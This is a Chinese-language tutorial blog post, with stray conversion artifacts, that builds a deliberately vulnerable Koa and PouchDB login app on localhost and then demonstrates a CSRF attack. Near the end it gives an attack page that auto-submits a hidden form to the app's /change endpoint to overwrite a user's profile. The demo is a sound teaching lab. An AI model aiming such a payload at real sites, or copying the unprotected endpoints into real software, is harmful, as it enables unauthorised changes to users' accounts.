CSRF攻击涉及用户受害者,受信任的网站和恶意网站。当受害者与受信任的站点拥有一个活跃的会话同时,若是访问恶意网站,恶意网站会注入一个HTTP请求到为受信任的站点,从而破话用户的信息。javascript
CSRF 攻击老是涉及到三个角色:信赖的网站(Collabtive)、受害者的 session 或 cookie 以及一个恶意网站。受害者会同时访问恶意网站与受信任的站点会话的时候。攻击包括一系列步骤,以下:css
恶意网站能够创建HTTP GET或POST请求到受信任的站点。一些HTML标签,好比img iframe,框架,形式没有限制的URL,能够在他们的使用属性中。html
我使用的是koa框架做为后端框架搭建的服务器,顺便也算是学习一下koa框架,以前没有学过,因为是初学,搭建过程有点漫长前端
话很少说上代码:java
// app.js
const Koa = require('koa');
const app = new Koa();
const server = require('koa-static');
const router = require('koa-router')();
const PouchDB = require('pouchdb');
const db = new PouchDB('http://localhost:5984/csrf');
app.use(async (ctx, next) => {
console.log(`Process ${ctx.request.method} ${ctx.request.url}...`);
await next();
});
// add url-route:
router.post('/login', async (ctx, next) => {
let postData = await parsePostData( ctx );
try {
let response = await db.get(`id_${postData.name}`);
let exp = new Date();
ctx.cookies.set(
'id',
`id_${postData.name}`,
{
domain: 'localhost', // 写cookie所在的域名
path: '/userInfo.html', // 写cookie所在的路径
maxAge: 24*60*60*1000, // cookie有效时长
expires: exp.setTime(exp.getTime() + 24*60*60*1000), // cookie失效时间
httpOnly: false, // 是否只用于http请求中获取
overwrite: false // 是否容许重写
}
)
if(response.password === postData.password) ctx.redirect('userInfo.html')
} catch (err) {
ctx.body = "<p>登陆失败,点击<a href='index.html'>这里</a>返回</p>";
}
});
router.post('/regist', async (ctx, next) => {
let postData = await parsePostData( ctx );
postData._id = `id_${postData.name}`;
try {
let response = await db.put(postData);
ctx.body = "<p>注册成功,点击<a href='index.html'>这里</a>返回至登陆界面</p>";
} catch (err) {
ctx.body = "<p>用户名已存在,点击<a href='index.html'>这里</a>返回</p>";
}
});
router.post('/getUserInfo', async (ctx, next) => {
let postData = await parsePostDataFromAjax( ctx );
let _id = {};
_id[postData.split(':')[0]] = postData.split(':')[1];
try {
let doc = await db.get(_id.id);
ctx.body = doc;
} catch (err) {
ctx.body = '发生错误';
}
});
router.post('/change', async (ctx, next) => {
let postData = await parsePostData( ctx );
console.log(postData);
try {
let doc = await db.get(postData.id);
let response = await db.put({
_id: doc._id,
_rev: doc._rev,
name: postData.name,
password: doc.password,
sex: postData.sex,
desc: postData.desc
});
ctx.body = "<p>修改为功,点击<a href='index.html'>这里</a>返回至登陆界面</p>";
} catch (err) {
console.log(err);
}
});
app.use(router.routes());
app.use(server(__dirname + '/'));
app.listen(3001);
/** * * 对于POST请求的处理,koa2没有封装获取参数的方法, * 须要经过解析上下文context中的原生node.js请求 * 对象req,将POST表单数据解析成query string(例 * 如:a=1&b=2&c=3),再将query string 解析成 * JSON格式(例如:{"a":"1", "b":"2", "c":"3"}) */
// 解析上下文里node原生请求的POST参数,这个是处理表单form传入参数
function parsePostData( ctx ) {
return new Promise((resolve, reject) => {
try {
let postdata = "";
ctx.req.addListener('data', (data) => {
postdata += data
})
ctx.req.addListener("end",function(){
let parseData = parseQueryStr( postdata )
resolve( parseData )
})
} catch ( err ) {
reject(err)
}
})
}
// 解析上下文里node原生请求的POST参数,这个是处理Ajax传入参数
function parsePostDataFromAjax( ctx ) {
return new Promise((resolve, reject) => {
try {
let postdata = "";
ctx.req.addListener('data', (data) => {
postdata += data
})
ctx.req.addListener("end",function(){
resolve( postdata )
})
} catch ( err ) {
reject(err)
}
})
}
// 将POST请求参数字符串解析成JSON
function parseQueryStr( queryStr ) {
let queryData = {}
let queryStrList = queryStr.split('&');
for ( let [ index, queryStr ] of queryStrList.entries() ) {
let itemList = queryStr.split('=')
queryData[ itemList[0] ] = decodeURIComponent(itemList[1])
}
return queryData
}
复制代码
就这一个文件,里面包含了不少东西node
koa-static
是koa的一个中间件,用于获取静态文件的koa-router
是koa的一个中间件,用于路由系统pouchDB
是我使用的couchDB
的配套使用的框架我使用的是couchDB数据库,具体怎么使用看这里,用法很简单,他的界面是一个网页,我这里贴一张图 jquery
前端页面总共有三个,分别是index.html
,regist.html
,userInfo.html
,其做用分别是登陆,注册,展现/修改用户信息,我这里没有使用css样式。。。有点丑web
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>登陆</title>
</head>
<body>
<h2>登陆</h2>
<form id="login" action="/login" method="post">
姓名:<input tyep="text" name="name" />
密码:<input type="password" name="password" />
</form>
<button id="button">登陆</button>
<a href="./regist.html">注册</a>
</body>
<script> var button = document.getElementById('button'); var form = document.getElementById('login'); button.onclick = function() { form.submit(); } </script>
</html>
复制代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>注册</title>
</head>
<body>
<h2>注册</h2>
<form id="regist" action="/regist" method="post">
姓名:<input tyep="text" name="name" /><br>
密码:<input type="password" name="password" /><br>
性别:<input type="radio" name="sex" value="male" />男<input type="radio" name="sex" value="female" />女<br>
描述:<textarea name="desc" id="" cols="30" rows="10"></textarea>
</form>
<button id="button">注册</button>
<a href="./index.html">登陆</a>
</body>
<script> var button = document.getElementById('button'); var form = document.getElementById('regist'); button.onclick = function() { form.submit(); } </script>
</html>
复制代码
这个页面我使用了ajax,因此引入了jQueryajax
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<script src="./jquery-3.2.1.min.js"></script>
<title>用户信息</title>
</head>
<body>
<div>
<h1>用户信息</h1>
<div>姓名:<span id="name"></span></div>
<div>性别:<span id="sex"></span></div>
<div>描述:<span id="desc"></span></div>
<h1>修改信息</h1>
<form id="change" action="/change" method="post">
<input id="id" name="id" hidden value=""/>
姓名:<input tyep="text" name="name" /><br>
性别:<input type="radio" name="sex" value="male" />男<input type="radio" name="sex" value="female" />女<br>
描述:<textarea name="desc" id="" cols="30" rows="10"></textarea>
</form>
<button id="button">修改</button>
</div>
</body>
<script> window.onload = function() { var id = document.cookie.split(";")[0].split("=").join(':'); $.ajax({ url: 'http://localhost:3001/getUserInfo', data: id, method: 'post', }).then(function(res) { var doc = res; $("#name").text(doc.name); $("#sex").text(doc.sex); $("#desc").text(doc.desc); $("#id").val(doc._id); }) var form = document.getElementById("change"); var button = document.getElementById("button"); button.onclick = function() { form.submit(); } } </script>
</html>
复制代码
最后放上package.json
数据库
{
"name": "csrf",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"author": "",
"license": "ISC",
"devDependencies": {
"koa": "^2.2.0",
"koa-router": "^7.2.1",
"koa-static": "^3.0.0",
"pouchdb": "^6.2.0"
}
}
复制代码
命令行执行
npm install
npm start
复制代码
终于到了关键,其实也就那么一刹那,很快咱们的步骤以下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>攻击页面</title>
</head>
<body>
<h1>这是一个攻击页面</h1>
</body>
<script> function hack() { var fields; fields += "<input type='hidden' name='id' value='id_1111'/>"; fields += "<input type='hidden' name='name' value='testName'>"; fields += "<input type='hidden' name='sex' value='testSex'>"; fields += "<input type='hidden' name='desc' value='testDesc'>"; var url = "http://localhost:3001/change"; var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } window.onload = function() { hack(); } </script>
</html>
```
复制代码
注意事项